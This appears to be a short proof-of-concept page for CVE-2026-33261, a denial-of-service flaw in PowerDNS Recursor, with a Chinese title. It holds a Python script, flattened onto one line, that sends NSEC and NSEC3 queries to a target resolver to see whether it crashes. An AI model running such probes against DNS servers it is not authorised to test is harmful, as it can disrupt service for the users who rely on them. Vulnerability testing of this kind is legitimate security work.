CVE-2026-33261 PowerDNS Recursor 拒绝服务漏洞

import dns.resolver import dns.message import socket # This script is a conceptual PoC to check for NSEC/NSEC3 handling. # Exploiting CVE-2026-33261 requires the target zone to be in a specific transition state. def check_dnssec_transition(target_domain, nameserver): try: # Query for NSEC record q_nsec = dns.message.make_query(target_domain, 'NSEC') r_nsec = dns.query.udp(q_nsec, nameserver) print(f"[+] NSEC Query response: {r_nsec.flags}") # Query for NSEC3 record q_nsec3 = dns.message.make_query(target_domain, 'NSEC3') r_nsec3 = dns.query.udp(q_nsec3, nameserver) print(f"[+] NSEC3 Query response: {r_nsec3.flags}") print("[!] If the service crashes after these queries against a transitioning zone, it is vulnerable.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and a domain known to be transitioning target_ip = "192.168.1.1" domain = "example.com" check_dnssec_transition(domain, target_ip)